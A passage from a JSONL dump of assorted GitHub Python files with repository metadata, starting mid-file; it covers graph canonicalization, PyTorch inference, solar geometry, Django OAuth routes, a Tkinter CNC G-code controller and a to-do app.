vertex distinguished\n splitting = Partition(splitPartition, self.Graph, self.PaintedVertices + [vertex])\n splitting.refine()\n return splitting\n\n def permutation(self):\n \"\"\"Return the permutation identified with an atomic partition\"\"\"\n if self.isatomic():\n perm = []\n for part in self.Parts:\n perm += part\n return perm\n else:\n print('This partition is not atomic')\n\n def applyautomorphism(self):\n \"\"\"Return the networkx graph after applying the automorphism defined by an atomic ordered partition\"\"\"\n if self.isatomic():\n perm = self.permutation()\n automorphism = {perm[j]:1+j for j in range(len(perm))} # automorphism as a dictionary mapping\n imageGraph = nx.relabel_nodes(self.Graph, automorphism)\n return imageGraph\n else:\n print('This partition is not atomic')\n\n\n\n\n# Example partitions from the paper\n# W1 = [1]\n# W2 = [3, 7, 9]\n# W3 = [2, 4, 6, 8]\n# W4 = [5]\n# P0 = [W1, W2, W3, W4]\n\nP0 = Partition([nodeList], G)\nP0.refine()\n\n\n# splitIdx = P.nextsplitting()\n# u = P.Parts[splitIdx][0] # paint the first vertex of the first nontrivial part\n# P1 = P.split(u, splitIdx)\n# print(P.isatomic())\n# print(P1.Parts)\n# print(P1.isatomic())\n\ndef branch(partition, vertex, partidx):\n \"\"\"Append a branch attached to a partition to an existing partition tree\"\"\"\n subTree = Tree()\n leaf = partition.split(vertex, partidx)\n subTree.create_node(leaf.PaintedVertices, leaf)\n if leaf.isatomic():\n return subTree\n\n # recurse onto children nodes to build partition tree depth first\n for v in leaf.Parts[leaf.nextsplitting()]:\n subTree.paste(leaf, branch(leaf, v, leaf.nextsplitting()))\n\n return subTree\n\nfrom treelib import Node, Tree\ntree = Tree()\ntree.create_node(P0.PaintedVertices, P0) # root node\n\nif not P0.isatomic():\n for v in P0.Parts[P0.nextsplitting()]:\n tree.paste(P0, branch(P0, v, P0.nextsplitting()))\n\ntree.show()\nfor node in tree.leaves():\n # print(node.identifier.permutation())\n P = node.identifier\n sG = P.applyautomorphism()\n print(lexifyedges(sG))\n\n\n# P1 = tree.leaves()[0].identifier\n# p = P1.permutation()\n# G1 = P1.applyautomorphism()\n","repo_name":"skepley/DSGRN-graph-canonicalization","sub_path":"test_gc.py","file_name":"test_gc.py","file_ext":"py","file_size_in_byte":6661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39963945539","text":"import torch\nimport torchvision\nimport torchvision.transforms as transforms\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\nimport argparse\nimport datetime\n\nfrom model import MyModel\nfrom dataset_inference import Dataset\n\nparser = argparse.ArgumentParser(description='')\nparser.add_argument('--img_dir', default='./images/images', help='Images directory')\nparser.add_argument('--test_file', default='./test.csv', help='Test File')\nparser.add_argument('--batch_size', default=16, help='Batch size')\nparser.add_argument('--model_file', default='./weights_epoch_100.pt', help='Batch size')\n\nFLAGS = parser.parse_args()\n\n# Set device\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n# Define hyperparameters\nbatch_size = FLAGS.batch_size\n\n# Define transforms\ntransform = transforms.Compose([\n transforms.Resize((224, 224)),\n transforms.Normalize((0.62376275, 0.43274997, 0.64434578), (0.2201862, 0.23024299, 0.19410873))\n])\n\n# Define dataset and dataloader\ntest_dataset = Dataset(annotations_file= FLAGS.test_file, img_dir= FLAGS.img_dir, transform=transform)\ntest_dataloader = DataLoader(test_dataset, batch_size=batch_size, shuffle=False)\n\n# Initialize the model and load the saved weights\nmodel = MyModel(num_classes=2).to(device)\nmodel.load_state_dict(torch.load(FLAGS.model_file, map_location=torch.device('cpu'))) \n\n# Initialize lists to store the test results\ntest_results = []\n\n# Create log file with timestamp\n# /Users/ardaatik/Desktop/my_projects/classification/weights__20230802_133002_epoch_100.pt\nmodel_id = FLAGS.model_file.split('__')[-1][:-3]\nlog_file_name = f\"test_log__{model_id}.csv\" \nlog_file = open(log_file_name, \"w\") \n# write the header\nlog_file.write(\"img_id,cancer_score\\n\")\n\n# Evaluation mode\nmodel.eval()\nwith torch.no_grad():\n for i, (images, img_ids) in enumerate(test_dataloader):\n # Move validation images and labels to device\n images = images.to(device)\n\n # Forward pass \n test_outputs = model(images)\n normalized_output = F.softmax(test_outputs, 1)\n \n for j in range(len(img_ids)):\n temp_img_id = img_ids[j]\n temp_score = normalized_output[j] \n log_file.write(f'{temp_img_id},{temp_score[1]}\\n')\n\n\n# Close the log file\nlog_file.close()\n","repo_name":"ardaatikk/cancer_detection","sub_path":"main/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15592957196","text":"from data_layer.data_storage import fetch_existing_codes_from_storage, store_vacancies_in_storage\nfrom business.email_provider import send_vacancies_via_email, MailEngine\nfrom business.logic import get_vacancies_from_website\n\n\nmail_engine = MailEngine()\nexisting_codes = fetch_existing_codes_from_storage()\nvacancies = get_vacancies_from_website()\n\nnew_vacancies = [vacancy for vacancy in vacancies if vacancy.code not in existing_codes]\n\n\nif new_vacancies:\n print(\"RED ALERT. RED ALERT\")\n for vacancy in new_vacancies:\n print(vacancy)\n\n # Save the new list\n send_vacancies_via_email(mail_engine, new_vacancies)\n store_vacancies_in_storage(vacancies)\nelse:\n print(\"Sorry. No new vacancies today.\")\n","repo_name":"rafspiny/LeidenMonitor","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74787406506","text":"from torch.utils.data import Dataset, DataLoader\nfrom torch.utils.data.sampler import Sampler\nimport torchvision.transforms as transforms\nfrom scipy.misc import imread\nimport numpy as np\nimport torch\nimport random\nimport os\n\n\nclass Cifar100Task(object):\n def __init__(self, args, mode='train'):\n super(Cifar100Task, self).__init__()\n folders = [os.path.join(args.train_dir, folder)\n for folder in sorted(os.listdir(args.train_dir)) if folder.startswith('class')]\n self.num_classes = 20\n self.train_num = 5\n self.test_num = 10\n\n class_folders = random.sample(folders, self.num_classes)\n\n labels = np.array(range(len(class_folders)))\n labels = dict(zip(class_folders, labels))\n self.map_dict = labels\n\n self.train = []\n self.test = []\n samples = dict()\n\n for c in class_folders:\n c = os.path.join(c, mode)\n temp = [os.path.join(c, x) for x in os.listdir(c)]\n\n samples[c] = random.sample(temp, len(temp))\n\n self.train += samples[c][:self.train_num]\n self.test += samples[c][self.train_num:self.train_num + self.test_num]\n\n self.train_labels = [labels[self.get_class(x)] for x in self.train]\n self.test_labels = [labels[self.get_class(x)] for x in self.test]\n\n def get_class(self, sample):\n return os.path.join(*sample.split('/')[:-2])\n\n\nclass FewShotDataset(Dataset):\n def __init__(self, task, split='train', transform=None, target_transform=None):\n self.transform = transform # Torch operations on the input image\n self.target_transform = target_transform\n self.task = task\n self.split = split\n self.image_roots = self.task.train if self.split == 'train' else self.task.test\n self.labels = self.task.train_labels if self.split == 'train' else self.task.test_labels\n\n def __len__(self):\n return len(self.image_roots)\n\n def __getitem__(self, index):\n raise NotImplementedError(\"Abstract class only, please implement customize dataset.\")\n\nclass Cifar100(FewShotDataset):\n def __init__(self, *args, **kwargs):\n super(Cifar100, self).__init__(*args, **kwargs)\n\n def __getitem__(self, index):\n image_root = self.image_roots[index]\n image = imread(image_root)\n if self.transform is not None:\n image = self.transform(image) # 3 x 32 x 32\n label = self.labels[index]\n if self.target_transform is not None:\n label = self.target_transform(label)\n return image, label\n\n\nclass ClassBalancedSampler(Sampler):\n def __init__(self, num_per_class, num_cl, num_inst, shuffle=True):\n self.num_per_class = num_per_class\n self.num_cl = num_cl\n self.num_inst = num_inst\n self.shuffle = shuffle\n # print(num_per_class, num_cl, num_inst)\n\n def __iter__(self):\n # return a single list of indices, assuming that items will be grouped by class\n if self.shuffle:\n batch = [[i + j * self.num_inst for i in torch.randperm(self.num_inst)[:self.num_per_class]] for j in\n range(self.num_cl)]\n else:\n batch = [[i + j * self.num_inst for i in range(self.num_inst)[:self.num_per_class]] for j in\n range(self.num_cl)]\n batch = [item for sublist in batch for item in sublist]\n\n if self.shuffle:\n random.shuffle(batch)\n return iter(batch)\n\n def __len__(self):\n return 1\n\ndef get_mini_imagenet_data_loader(task, num_per_class=5, split='train',shuffle = False):\n normalize = transforms.Normalize(mean=[0.92206, 0.92206, 0.92206], std=[0.08426, 0.08426, 0.08426])\n\n dataset = Cifar100(task,split=split,transform=transforms.Compose([transforms.ToTensor(),normalize]))\n\n if split == 'train':\n sampler = ClassBalancedSampler(num_per_class, task.num_classes, task.train_num,shuffle=shuffle)\n else:\n sampler = ClassBalancedSampler(num_per_class, task.num_classes, task.test_num,shuffle=shuffle)\n\n loader = DataLoader(dataset, batch_size=num_per_class*task.num_classes, sampler=sampler)\n\n return loader\n\nif __name__ == \"__main__\":\n import argparse\n import torchvision.transforms as transforms\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--train-dir', default='../datasets/task2-dataset/base')\n parser.add_argument('--test-dir', default='../datasets/test')\n data = Cifar100Task(parser.parse_args())\n\n data_loader = get_mini_imagenet_data_loader(data)\n\n samples, sample_labels = data_loader.__iter__().next() # 100*3*84*84\n print(samples)\n samples, sample_labels = data_loader.__iter__().next() # 100*3*84*84\n print(samples)\n","repo_name":"JerryHoTaiwan/DLCV2018SPRING","sub_path":"final/task2/utils/dataset_v2.py","file_name":"dataset_v2.py","file_ext":"py","file_size_in_byte":4755,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"33172494556","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^qq/authorization/$', views.QQAuthURLView.as_view()),\n url(r'^qq/user/$', views.QQAuthUserView.as_view()),\n url(r'^weibo/authorization/$',views.OAuthWeiboURLView.as_view()),\n url(r'^sina/user/$', views.WeiboAuthUserView.as_view()),\n url(r'^image_codes/(?P\\w{8}(-\\w{4}){3}-\\w{12})/$',views.ImageCodeView.as_view()),\n url(r'^sms_codes/(?P1[3-9]\\d{9})/', views.WeiboSMSCodeView.as_view()),\n]","repo_name":"laoliang168/meiduo_sz","sub_path":"meiduo_mall/meiduo_mall/apps/oauth/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21930005236","text":"\"\"\"\nClass for solar radiation calculations based on a datetime_object:\nDate and time YYYY-MM-DD h:m:s (local standard time without the daylight savings shift)\n\nAttention: UTC time stamped measurements must be converted to local standard time.\nExample:\n Assuming that the data form a Pandas Dataframe object with a date - time timestamp in UTC, the conversion is made\n as follows:\n\n pandas_dataframe.index = df.index + pd.Timedelta(hours=2) # Converts timestamp from UTC to Greek local time\n\nModules:\n\ndecl: solar declination angle (rad)\neqtime: equation of time (minutes)\nfractional_year: fractional year (rad)\nhour_angle: solar hour angle (rad)\nsazimuth: solar azimuth angle (rad)\nsza: solar zenith angle (rad)\ntrue_solar_time: true solar time as python datetime object YYYY-MM-DD h:m:s\n\nlibraries used: numpy as np\n\nVersion 1.01\nIntro of numpy.radians() function\n\nA. Argiriou, LAPUP, University of Patras, 2020-01-08\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\n\n\nclass SolarGeometry:\n\n def __init__(self, datetime_object, latitude, longitude):\n self.datetime_object = datetime_object\n self.latitude = latitude\n self.longitude = longitude\n self.fractional_year = 2 * np.pi * (self.datetime_object.dayofyear - 1 + (self.datetime_object.hour - 12) / 24)\\\n / 365\n self.declination = 0.006918 - 0.399912 * np.cos(self.fractional_year) + 0.070257 * np.sin(self.fractional_year)\\\n - 0.006758 * np.cos(2 * self.fractional_year) + 0.000907 * np.sin(2 * self.fractional_year)\\\n - 0.002697 * np.cos(3 * self.fractional_year) + 0.00148 * np.sin(3 * self.fractional_year)\n self.equation_of_time = 229.18 * (0.000075 + 0.001868 * np.cos(self.fractional_year) - 0.032077 *\n np.sin(self.fractional_year) - 0.014615 * np.cos(2 * self.fractional_year) -\n 0.040849 * np.sin(2 * self.fractional_year))\n \n # def fractional_year(self):\n # return 2 * np.pi * (self.datetime_object.dayofyear - 1 + (self.datetime_object.hour - 12) / 24) / 365\n # \n # def declination(self):\n # return 0.006918 - 0.399912 * np.cos(self.fractional_year) + 0.070257 * np.sin(self.fractional_year) - 0.006758\\\n # * np.cos(2 * self.fractional_year) + 0.000907 * np.sin(2 * self.fractional_year) - 0.002697 * np.cos(3 *\n # self.fractional_year) + 0.00148 * np.sin(3 * self.fractional_year)\n\n\n# Example of application on solar data from the LAPUP radiometric station in Patras\n\n\ndf = pd.read_csv('Solar_1min_2019.txt', usecols=[0, 6], index_col=0, parse_dates=True, sep=',', header=None)\n\ndf.index = df.index + pd.Timedelta(hours=2) # Converts timestamp from UTC to local time\n\n# Latitude and longitude in decimal form\n\nlat = 38.29138889\nlon = 21.78861111\n\nevent1 = SolarGeometry(df.index[680], lat, lon)\nevent2 = SolarGeometry(df.index[250000], lat, lon)\n\nprint(event1.datetime_object)\nprint(event1.latitude)\nprint(event1.longitude)\nprint(event1.fractional_year)\nprint(event1.declination)\nprint(event1.equation_of_time)\n\nprint(event2.datetime_object)\nprint(event2.latitude)\nprint(event2.longitude)\nprint(event2.fractional_year)\nprint(event2.declination)\nprint(event2.equation_of_time)","repo_name":"thanosargiriou/solar_library","sub_path":"lapup_solar_library_class.py","file_name":"lapup_solar_library_class.py","file_ext":"py","file_size_in_byte":3317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28549379764","text":"import numpy as np\nfrom numpy.testing import assert_equal, assert_array_equal\nfrom nose.tools import assert_true\nfrom skimage._shared.testing import assert_greater, test_parallel\nfrom skimage.segmentation import quickshift\n\n\n@test_parallel()\ndef test_grey():\n rnd = np.random.RandomState(0)\n img = np.zeros((20, 21))\n img[:10, 10:] = 0.2\n img[10:, :10] = 0.4\n img[10:, 10:] = 0.6\n img += 0.1 * rnd.normal(size=img.shape)\n seg = quickshift(img, kernel_size=2, max_dist=3, random_seed=0,\n convert2lab=False, sigma=0)\n # we expect 4 segments:\n assert_equal(len(np.unique(seg)), 4)\n # that mostly respect the 4 regions:\n for i in range(4):\n hist = np.histogram(img[seg == i], bins=[0, 0.1, 0.3, 0.5, 1])[0]\n assert_greater(hist[i], 20)\n\n\ndef test_color():\n rnd = np.random.RandomState(0)\n img = np.zeros((20, 21, 3))\n img[:10, :10, 0] = 1\n img[10:, :10, 1] = 1\n img[10:, 10:, 2] = 1\n img += 0.01 * rnd.normal(size=img.shape)\n img[img > 1] = 1\n img[img < 0] = 0\n seg = quickshift(img, random_seed=0, max_dist=30, kernel_size=10, sigma=0)\n # we expect 4 segments:\n assert_equal(len(np.unique(seg)), 4)\n assert_array_equal(seg[:10, :10], 1)\n assert_array_equal(seg[10:, :10], 2)\n assert_array_equal(seg[:10, 10:], 0)\n assert_array_equal(seg[10:, 10:], 3)\n\n seg2 = quickshift(img, kernel_size=1, max_dist=2, random_seed=0,\n convert2lab=False, sigma=0)\n # very oversegmented:\n assert_equal(len(np.unique(seg2)), 7)\n # still don't cross lines\n assert_true((seg2[9, :] != seg2[10, :]).all())\n assert_true((seg2[:, 9] != seg2[:, 10]).all())\n\n\nif __name__ == '__main__':\n from numpy import testing\n testing.run_module_suite()\n","repo_name":"jeetmehta/Lung-Cancer-Classification","sub_path":"syde-522-env/lib/python2.7/site-packages/skimage/segmentation/tests/test_quickshift.py","file_name":"test_quickshift.py","file_ext":"py","file_size_in_byte":1760,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"37"} +{"seq_id":"43471552137","text":"# Quiz1Problem7.py\n# edX MITx 6.00.1x\n# Introduction to Computer Science and Programming Using Python\n# Quiz 1, Problem 7\n#\n# Write a Python function that returns a list of keys in aDict with the\n# value target. The list of keys you return should be sorted in increasing\n# order. The keys and values in aDict are both integers. (If aDict does not\n# contain the value target, you should return an empty list.)\n#\n# This function takes in a dictionary and an integer and returns a list.\n\ndef keysWithValue(aDict, target):\n '''\n aDict: a dictionary\n target: an integer\n '''\n # Initialize matchList\n matchList = []\n\n # Find all values in aDict that match, put their keys in matchList\n for theKey, theValue in aDict.iteritems():\n if theValue == target:\n # Debug print, comment out before submitting\n # print(theValue)\n\n matchList.append(theKey)\n\n # Debug print, comment out before submitting\n # print(matchList)\n # matchList = [theKey for theKey, theValue in aDict.items() if theValue == target]\n\n # Sort matchList and return\n matchList.sort()\n return matchList\n\n\n\n# Calling keysWithValue(), comment out before submitting\n# aDict{key : value, . . .}\naDict = {1 : 11, 2 : 22, 3 : 33, 5 : 44, 4 : 44}\n\nprint(keysWithValue(aDict, 11))\nprint(keysWithValue(aDict, 44))\nprint(keysWithValue(aDict, 77))\n","repo_name":"slgraff/edx-mitx-6.00.1x","sub_path":"Quiz1Problem7.py","file_name":"Quiz1Problem7.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"37"} +{"seq_id":"15310829836","text":"\nfrom tk_classes import *\nfrom settings import *\nimport serial.tools.list_ports as list_serial_ports\n\ndef create_sub_menu (SubMenuClass):\n new_sub_menu = SubMenuClass()\n\nclass Menu ():\n def __init__ (self, base_title, size_percentage=(0.5, 0.5), tk_root=False):\n self.base = Base(base_title, size_percentage[0], size_percentage[1], tk_root)\n\n self.header = Div(self.base.root, (0, \"x\", \"top\"))\n self.main = Div(self.base.root, (1, \"both\", \"top\"))\n self.footer = Div(self.base.root, (0, \"x\", \"bottom\"))\n\n def change_function (self, tk_element, tk_type, new_function):\n element_obj = getattr(self, tk_element)\n element = getattr(element_obj, tk_type)\n\n element.configure(\n command=new_function\n )\n\n def close_menu (self, callout_function):\n callout_function()\n\n self.base.root.destroy()\n\nclass MainMenu (Menu):\n def __init__ (self):\n super().__init__(\"Create, Test and Use G-Code\", (0.9, 0.8), True)\n\n main_title = Title(self.header.div, \"Create, Test and Use G-Code\", (1, \"both\", \"left\"))\n bl4ky_signature = Bl4ky113(self.header.div, \" // Made By Bl4ky113 \", (1, \"both\", \"right\"))\n\n cnc_wrapper = Div(self.main.div, (1, \"both\", \"left\"))\n\n btn_cnc_menus_wrapper = Div(cnc_wrapper.div, (0, \"x\", \"top\"))\n btn_show_testing_menu = Button(btn_cnc_menus_wrapper.div, lambda: self.show_menu(\"testing_cnc_wrapper\", \"gcode_file_wrapper\", \"left\"), \"CNC Testing\", ((0, 0), (0, 5), \"left\"))\n btn_show_gcode_menu = Button(btn_cnc_menus_wrapper.div, lambda: self.show_menu(\"gcode_file_wrapper\", \"testing_cnc_wrapper\", \"left\"), \"G-Code\", ((0, 0), (0, 5), \"left\"))\n\n cnc_menus_wrapper = Div(cnc_wrapper.div, (1, \"both\", \"left\"))\n cnc_menus_wrapper.add_border()\n\n self.gcode_file_wrapper = Div(cnc_menus_wrapper.div, (1, \"both\", \"left\"))\n self.label_name_gcode_file = Label(self.gcode_file_wrapper.div, \"None\", (0, \"x\", \"top\"))\n self.list_gcode_viewer = ListBox(self.gcode_file_wrapper.div, (), (1, \"both\", \"top\"))\n btn_run_gcode_file = Button(self.gcode_file_wrapper.div, global_values.run_gcode_file, \"Run File\", ((15, 5), (0, 2), \"right\"))\n btn_load_gcode_file = Button(self.gcode_file_wrapper.div, global_values.open_gcode_file, \"Load File\", ((10, 5), (0, 2), \"left\"))\n self.gcode_file_wrapper.hide_div()\n\n self.testing_cnc_wrapper = Div(cnc_menus_wrapper.div, (1, \"both\", \"left\"))\n axis_btns_wrapper = Div(self.testing_cnc_wrapper.div, (0, \"none\", \"left\"))\n btn_add_y = Button(axis_btns_wrapper.div, lambda: global_values.check_change_axis(\"y\", (global_values.cnc_step) * 1), \"+Y\", ((10, 20), (5, 5), \"top\"))\n btn_sub_x = Button(axis_btns_wrapper.div, lambda: global_values.check_change_axis(\"x\", (global_values.cnc_step) * -1), \"-X\", ((15, 20), (5, 5), \"left\"))\n btn_add_x = Button(axis_btns_wrapper.div, lambda: global_values.check_change_axis(\"x\", (global_values.cnc_step) * 1), \"+X\", ((10, 20), (5, 5), \"right\"))\n btn_sub_y = Button(axis_btns_wrapper.div, lambda: global_values.check_change_axis(\"y\", (global_values.cnc_step) * -1), \"-Y\", ((15, 20), (5, 5), \"bottom\"))\n self.base.root.bind(\"\", lambda event: global_values.check_change_axis(\"y\", (global_values.cnc_step) * 1))\n self.base.root.bind(\"\", lambda event: global_values.check_change_axis(\"x\", (global_values.cnc_step) * -1))\n self.base.root.bind(\"\", lambda event: global_values.check_change_axis(\"x\", (global_values.cnc_step) * 1))\n self.base.root.bind(\"\", lambda event: global_values.check_change_axis(\"y\", (global_values.cnc_step) * -1))\n extra_btns_wrapper = Div(self.testing_cnc_wrapper.div, (0, \"none\", \"right\"))\n axis_z_wrapper = Div(extra_btns_wrapper.div, (0, \"none\", \"top\"))\n btn_add_z = Button(axis_z_wrapper.div, lambda: global_values.check_change_axis(\"z\", (global_values.cnc_step) * 1), \"+Z\", ((10, 20), (5, 5), \"top\"))\n btn_sub_z = Button(axis_z_wrapper.div, lambda: global_values.check_change_axis(\"z\", (global_values.cnc_step) * -1), \"-Z\", ((15, 20), (5, 5), \"top\"))\n self.base.root.bind(\"\", lambda event: global_values.check_change_axis(\"z\", (global_values.cnc_step) * 1))\n self.base.root.bind(\"\", lambda event: global_values.check_change_axis(\"z\", (global_values.cnc_step) * -1))\n self.base.root.bind(\"\", lambda event: global_values.change_cnc_steps(\"-\"))\n self.base.root.bind(\"\", lambda event: global_values.change_cnc_steps(\"+\"))\n home_btn_wrapper = Div(extra_btns_wrapper.div, (0, \"none\", \"top\"))\n btn_set_home = Button(home_btn_wrapper.div, global_values.change_home, \"Set Home\", ((0, 0), (5, 5), \"top\"))\n btn_go_home = Button(home_btn_wrapper.div, global_values.go_home, \"Go Home\", ((5, 0), (5, 5), \"top\"))\n\n cnc_info_wrapper = Div(cnc_menus_wrapper.div, (1, \"both\", \"right\"))\n cnc_info_wrapper.add_border()\n self.label_current_home = Label(cnc_info_wrapper.div, \"Home: X: 0; Y: 0; Z: 0;\", (0, \"x\", \"top\"))\n self.canvas_cnc_info = Canvas(cnc_info_wrapper.div, self.base.height * 0.5, self.base.height * 0.5)\n self.canvas_cnc_info.set_num_axis_divisions(global_values.cnc_info[\"len_x\"], global_values.cnc_info[\"len_y\"], global_values.cnc_info[\"len_z\"])\n axis_position_wrapper = Div(cnc_info_wrapper.div, (1, \"x\", \"bottom\"))\n self.label_x_position = Label(axis_position_wrapper.div, \"X: 0;\", (1, \"x\", \"left\"))\n self.label_y_position = Label(axis_position_wrapper.div, \"Y: 0;\", (1, \"x\", \"left\"))\n self.label_z_position = Label(axis_position_wrapper.div, \"Z: 0;\", (1, \"x\", \"left\"))\n\n wrapper_serial = Div(self.main.div, (1, \"both\", \"right\"))\n\n wrapper_btns_serial_menus = Div(wrapper_serial.div, (0, \"x\", \"top\"))\n btn_show_info_menu = Button(wrapper_btns_serial_menus.div, lambda: self.show_menu(\"wrapper_serial_info\", \"wrapper_serial_output\", \"right\"), \"Serial Info\", ((0, 0), (0, 5), \"left\"))\n btn_show_output_menu = Button(wrapper_btns_serial_menus.div, lambda: self.show_menu(\"wrapper_serial_output\", \"wrapper_serial_info\", \"right\"), \"Serial Ouput\", ((0, 0), (0, 5), \"left\"))\n\n wrapper_serial_menus = Div(wrapper_serial.div, (1, \"both\", \"right\"))\n wrapper_serial_menus.add_border()\n\n self.wrapper_serial_info = Div(wrapper_serial_menus.div, (1, \"both\", \"right\"))\n self.label_serial_name = Label(self.wrapper_serial_info.div, \"Name: None\", (0, \"x\", \"top\"))\n self.label_serial_status = Label(self.wrapper_serial_info.div, \"Status: Closed\", (0, \"x\", \"top\"))\n self.label_serial_stream = Label(self.wrapper_serial_info.div, \"Streaming: False\", (0, \"x\", \"top\"))\n self.list_serial_info = ListBox(self.wrapper_serial_info.div, (), (1, \"both\", \"top\"))\n set_serial_port_btn = Button(self.wrapper_serial_info.div, lambda: create_sub_menu(SetSerialMenu), \"Set Serial Port\", ((0, 0), (10, 5), \"bottom\"))\n\n self.wrapper_serial_output = Div(wrapper_serial_menus.div, (1, \"both\", \"right\"))\n self.list_serial_output = ListBox(self.wrapper_serial_output.div, (), (1, \"both\", \"top\"))\n btn_clear_serial_output = Button(self.wrapper_serial_output.div, self.clear_serial_output, \"Clear Output\", ((10, 0), (0, 5), \"right\"))\n self.wrapper_serial_output.hide_div()\n\n def show_menu (self, menu_to_show, menu_to_hide, side=\"left\"): \n if menu_to_show == \"wrapper_serial_output\":\n self.loop_get_serial_output()\n\n menu_to_show = getattr(self, menu_to_show)\n menu_to_hide = getattr(self, menu_to_hide)\n try:\n menu_to_show.div.pack_info()\n return\n except:\n menu_to_show.div.pack(\n expand=1,\n fill=\"both\",\n side=side\n )\n menu_to_hide.hide_div()\n\n def upload_serial_info (self):\n self.label_serial_name.change_content(f\"Name: {global_values.serial_name}\")\n self.label_serial_status.change_content(f\"Status: {global_values.serial_status}\")\n self.label_serial_stream.change_content(f\"Streaming: {global_values.serial_streaming}\")\n\n serial_info = []\n for key, value in global_values.serial_info.items():\n serial_info.append(f\"{key}: {value}\")\n\n self.list_serial_info.add_values(serial_info)\n\n def upload_serial_output (self):\n self.list_serial_output.insert_value(global_values.serial_output[-1])\n\n def loop_get_serial_output (self):\n self.base.root.after(500, global_values.get_serial_output)\n\n def clear_serial_output (self):\n global_values.clear_serial_output()\n\n self.list_serial_output.add_values([])\n\n def upload_cnc_axis (self):\n self.label_x_position.change_content(f\"X: {global_values.axis_info['x']}\")\n self.label_y_position.change_content(f\"Y: {global_values.axis_info['y']}\")\n self.label_z_position.change_content(f\"Z: {global_values.axis_info['z']}\")\n\n self.canvas_cnc_info.change_axis_position(\"current\", (global_values.axis_info[\"x\"], global_values.axis_info[\"y\"]))\n self.canvas_cnc_info.change_z_position(\"current\", global_values.axis_info[\"z\"])\n\n def upload_cnc_home (self):\n self.label_current_home.change_content(f\"Home: X: {global_values.home_info['x']}; Y: {global_values.home_info['y']}; Z: {global_values.home_info['z']};\")\n\n self.canvas_cnc_info.change_axis_position(\"home\", (global_values.home_info[\"x\"], global_values.home_info[\"y\"]))\n self.canvas_cnc_info.change_z_position(\"home\", global_values.home_info[\"z\"])\n\n def upload_gcode_info (self):\n self.label_name_gcode_file.change_content(global_values.g_code_path)\n self.list_gcode_viewer.add_values(global_values.g_code)\n\n def init_menu (self):\n self.base.root.mainloop()\n\nclass SetSerialMenu (Menu):\n def __init__ (self):\n super().__init__(\" Select the Serial Port \", (0.4, 0.6))\n\n ports = self.get_active_ports()\n\n main_title = Title(self.header.div, \"Select the Serial Port\", (0, \"x\", \"top\"))\n self.port_list = ListBox(self.main.div, ports, (1, \"both\", \"top\"))\n self.select_serial_port_btn = Button(\n self.footer.div,\n lambda: self.close_menu(\n lambda: global_values.config_serial_port(self.port_list.get_selected_value())\n ), \n \"Use Selected Port\", \n ((10, 5), (20, 10), \"right\")\n )\n\n def get_active_ports (self) -> tuple:\n active_ports = list_serial_ports.comports()\n list_ports = []\n\n for port in active_ports:\n list_ports.append(port.device)\n \n return tuple(list_ports)\n\n","repo_name":"Bl4ky113/Python_GCode_Reader","sub_path":"menus.py","file_name":"menus.py","file_ext":"py","file_size_in_byte":10801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71359083627","text":"# 乱序字符检查的例子\n# https://facert.gitbooks.io/python-data-structure-cn/2.%E7%AE%97%E6%B3%95%E5%88%86%E6%9E%90/2.4.%E4%B8%80%E4%B8%AA%E4%B9%B1%E5%BA%8F%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%A3%80%E6%9F%A5%E7%9A%84%E4%BE%8B%E5%AD%90/\n# 乱序字符串是指一个字符串只是另一个字符串的重新排列\n# 比如:'heart'和'earth'就是乱序字符\n# 假设所讨论的两个字符串具有相等的长度,并且由26个小写字母集合组成\n\n# 解法1:检查\n# 检查第一个字符串是不是出现在第二个字符串中\n# 如果可以检验到每一个字符,那这两个字符串一定是乱序\n# 可以通过None替换字符来了解一个字符是否完成检查\n# 但是,由于Python字符串是不可变的,\n# 所以第一步是将第二个字符串转换为列表\n# 检查第一个字符串中的每个字符是否存在于第二个列表中\n# 如果存在,替换成None\n\ndef anagramSolution1(s1,s2):\n alist=list(s2)\n\n pos1=0\n stillOK=True\n\n while pos1\", delete_task_delete)\n\n \n\n# more info function\ndef more_info(event):\n selection = task_list.curselection()\n if len(selection) == 0:\n messagebox.showerror(\"Error!\", \"No task selected.\")\n return\n task_index = selection[0]\n selected_task = task_list.get(task_index)\n popup = Toplevel()\n popup.title(f\"Additional info for {selected_task}\")\n popup.geometry(\"300x300\")\n # name of the task\n task_name_text = Label(popup, text=f\"Task: {selected_task}\")\n task_name_text.place(anchor=CENTER, x=150, y=10)\n # selected task info\n selected_task_info = additional_info[task_index]\n # additional info for the task\n task_info_label = Label(popup, text=\"Additional task info:\")\n task_info_label.place(anchor=CENTER, x=150, y=60)\n task_info_text = Label(popup, text=selected_task_info)\n task_info_text.place(anchor=CENTER, x=150, y=80)\n # date task info\n selected_date_info = dates[task_index]\n # additional info for the date\n date_info_label = Label(popup, text=\"Date:\")\n date_info_label.place(anchor=CENTER, x=150, y=100)\n date_info_text = Label(popup, text=selected_date_info)\n date_info_text.place(anchor=CENTER, x=150, y=120)\n # past due\n today = date.today()\n current_date = today.strftime(\"%Y-%m-%d\")\n if dates[task_index] < current_date:\n past_due_label = Label(popup, font=(\"Ariel\", 16), text=\"!task is past due!\", fg=\"red\")\n past_due_label.place(anchor=CENTER, x=150, y=150)\n 